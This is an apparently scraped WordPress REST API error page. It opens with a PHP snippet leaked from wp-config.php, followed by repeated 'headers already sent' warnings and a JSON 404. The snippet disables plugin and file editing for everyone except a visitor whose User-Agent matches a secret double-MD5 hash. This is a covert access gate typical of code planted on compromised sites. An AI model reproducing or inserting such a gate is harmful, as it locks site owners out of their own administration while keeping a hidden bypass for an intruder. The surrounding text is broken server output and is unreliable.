if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){
    define('DISALLOW_FILE_MODS', true);
    define('DISALLOW_FILE_EDIT', true);
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}